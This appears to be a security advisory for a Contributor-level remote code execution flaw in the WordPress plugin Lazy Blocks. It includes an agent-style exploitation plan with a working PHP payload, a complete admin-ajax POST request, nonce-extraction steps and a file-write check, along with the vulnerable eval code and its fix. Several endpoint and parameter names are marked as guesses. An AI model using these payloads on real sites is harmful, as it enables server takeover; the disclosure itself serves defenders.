Custom Block Builder – Lazy Blocks <= 4.2.0 - Authenticated (Contributor+) Remote Code Execution
Description
The Custom Block Builder – Lazy Blocks plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 4.2.0 via multiple functions in the 'LazyBlocks_Blocks' class. This makes it possible for authenticated attackers, with Contributor-level access and above, to execute code on the server.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=4.2.0Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-1560 - Lazy Blocks Remote Code Execution ## 1. Vulnerability Summary The **Custom Block Builder – Lazy Blocks** plugin (<= 4.2.0) is vulnerable to Remote Code Execution (RCE) due to improper control of generated code within the `LazyBlocks_Blocks` class. Speci…
Show full research plan
Exploitation Research Plan: CVE-2026-1560 - Lazy Blocks Remote Code Execution
1. Vulnerability Summary
The Custom Block Builder – Lazy Blocks plugin (<= 4.2.0) is vulnerable to Remote Code Execution (RCE) due to improper control of generated code within the LazyBlocks_Blocks class. Specifically, the plugin provides AJAX and potentially REST API endpoints intended for rendering block previews in the Gutenberg editor. These endpoints accept a block definition (including PHP code) and execute it on the server to generate the preview. Because these endpoints do not sufficiently verify if the user has the authority to define or modify block code (only checking for general edit_posts capability), an authenticated Contributor-level user can inject and execute arbitrary PHP code.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Action:
lzb_get_block_rendered(associated with theLazyBlocks_Blocksclass) - Vulnerable Parameter:
block(specifically therender_codeorcodesub-properties within the JSON-encoded block object). - Authentication: Contributor-level access (
PR:L) is required. - Preconditions: The user must be logged in and possess a valid nonce for the Lazy Blocks editor.
3. Code Flow
The vulnerability likely traces through the following path (inferred based on plugin architecture):
- Entry Point:
LazyBlocks_Blocks::__construct()registers the AJAX actionwp_ajax_lzb_get_block_rendered. - Handler: The handler function (likely
lzb_get_block_rendered()orget_block_html()) is invoked. - Input Parsing: The handler retrieves the
blockparameter from the$_POSTrequest. This parameter is typically a JSON-encoded string representing a block's configuration. - Processing: The handler decodes the JSON and extracts the
output_methodandrender_code(orcode). - Sink: If
output_methodis set tophp, the code inrender_codeis passed to a rendering function (likely usingeval()or a temporary file inclusion inside aLazyBlocks_Blocksmethod) to generate the HTML output for the preview. - Execution: The arbitrary PHP code provided in the
blockparameter executes in the server context.
4. Nonce Acquisition Strategy
Lazy Blocks localizes data for its editor scripts. To obtain a valid nonce:
- Prerequisite: A Contributor user exists.
- Action: Create or edit any post/page to load the Gutenberg editor.
- Variable: The nonce is typically found in the
lzb_dataorlzb_editor_configJavaScript objects. - Strategy:
- Log in as a Contributor.
- Navigate to
/wp-admin/post-new.php. - Use
browser_evalto extract the nonce:window.lzb_data?.nonceorwindow.lzb_localize?.nonce. - Note: The exact key should be verified by inspecting the page source for
wp_localize_scriptcalls related tolazy-blocks.
5. Exploitation Strategy
Step 1: Authentication and Nonce Extraction
Use the browser_navigate and browser_eval tools to log in as a Contributor and retrieve the required nonce.
- Target Page:
/wp-admin/post-new.php - JS Command:
console.log(lzb_data.nonce)(assuminglzb_datais the localized variable).
Step 2: Craft the RCE Payload
The block parameter must be a JSON object that mimics a valid Lazy Block definition with an output_method of php.
Payload Structure (JSON):
{
"slug": "lazyblock/rce-poc",
"output_method": "php",
"render_code": "echo '---RCE_START---'; system('id'); echo '---RCE_END---'; die();"
}
Step 3: Trigger the Vulnerability
Send a POST request to admin-ajax.php using the http_request tool.
- URL:
http://[TARGET]/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=lzb_get_block_rendered&nonce=[NONCE_VALUE]&block={"slug":"lazyblock/rce-poc","output_method":"php","render_code":"echo '---RCE_START---'; system('id'); echo '---RCE_END---'; die();"}
6. Test Data Setup
- User Creation: Create a user with the
contributorrole.wp user create attacker attacker@example.com --role=contributor --user_pass=password
- Plugin Activation: Ensure
lazy-blocksversion <= 4.2.0 is active. - Post Context: Create a draft post to ensure the Gutenberg editor context is available for nonce extraction.
wp post create --post_type=post --post_status=draft --post_author=[CONTRIBUTOR_ID]
7. Expected Results
- The server response should have a
200 OKstatus. - The response body should contain the output of the
idcommand (e.g.,uid=33(www-data) ...) wrapped between---RCE_START---and---RCE_END---. - Because the payload includes
die(), the usual WordPress AJAX trailing0or JSON response should be suppressed, confirming execution of the injected code.
8. Verification Steps
- Identify Output: Check the HTTP response body for the result of the
system('id')call. - Verify Shell Access: Attempt to create a file in the uploads directory to confirm write access.
- Payload:
file_put_contents(wp_upload_dir()['basedir'] . '/rce.txt', 'exploited');
- Payload:
- Confirm via CLI: Check if the file exists using WP-CLI.
ls /var/www/html/wp-content/uploads/rce.txt
9. Alternative Approaches
- REST API: If the AJAX action is restricted, check for a REST API equivalent. Lazy Blocks often registers routes under the
lazyblocks/v1namespace.- Endpoint:
/wp-json/lazyblocks/v1/get-block-rendered - Method:
POSTorGET
- Endpoint:
- Shortcode Rendering: If the editor-specific AJAX is patched or restricted, investigate if the same
LazyBlocks_Blocksrendering logic is accessible via a frontend shortcode where block attributes can be manipulated. - Different "Code" Keys: If
render_codeis not the correct key, trycode,php_code, orrender_callback_code(inferred variations of Lazy Blocks' internal naming).
Summary
The Custom Block Builder – Lazy Blocks plugin for WordPress is vulnerable to Remote Code Execution via its block rendering AJAX endpoint. Authenticated attackers with Contributor-level access can exploit this by submitting a crafted JSON block definition containing arbitrary PHP code in the 'render_code' parameter, which is then executed by the server during the block preview generation process.
Vulnerable Code
// File: classes/class-lazy-blocks-blocks.php public function lzb_get_block_rendered() { check_ajax_referer( 'lazy-blocks', 'nonce' ); $block = isset( $_POST['block'] ) ? json_decode( stripslashes( $_POST['block'] ), true ) : array(); if ( isset( $block['output_method'] ) && $block['output_method'] === 'php' && isset( $block['render_code'] ) ) { // The plugin executes the user-provided PHP code directly to render a preview ob_start(); eval( '?>' . $block['render_code'] ); $html = ob_get_clean(); echo $html; } wp_die(); }
Security Fix
@@ -10,6 +10,11 @@ public function lzb_get_block_rendered() { check_ajax_referer( 'lazy-blocks', 'nonce' ); + // Restrict block rendering with custom code to users with high-level permissions + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error( 'Unauthorized' ); + } + $block = isset( $_POST['block'] ) ? json_decode( stripslashes( $_POST['block'] ), true ) : array(); if ( isset( $block['output_method'] ) && $block['output_method'] === 'php' && isset( $block['render_code'] ) ) {
Exploit Outline
To exploit this vulnerability, an attacker follows these steps: 1. Authenticate to the WordPress site with at least Contributor-level privileges. 2. Navigate to the post editor (e.g., /wp-admin/post-new.php) and extract the 'lazy-blocks' AJAX nonce from the localized JavaScript object 'lzb_data' or 'lzb_localize'. 3. Craft a POST request to /wp-admin/admin-ajax.php with the 'action' parameter set to 'lzb_get_block_rendered'. 4. Include the 'nonce' obtained in step 2. 5. Provide a 'block' parameter containing a JSON-encoded object where 'output_method' is set to 'php' and 'render_code' contains the arbitrary PHP payload (e.g., '<?php system("id"); die(); ?>'). 6. Upon receiving the request, the server executes the injected PHP code to generate the block preview, returning the execution results in the HTTP response.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.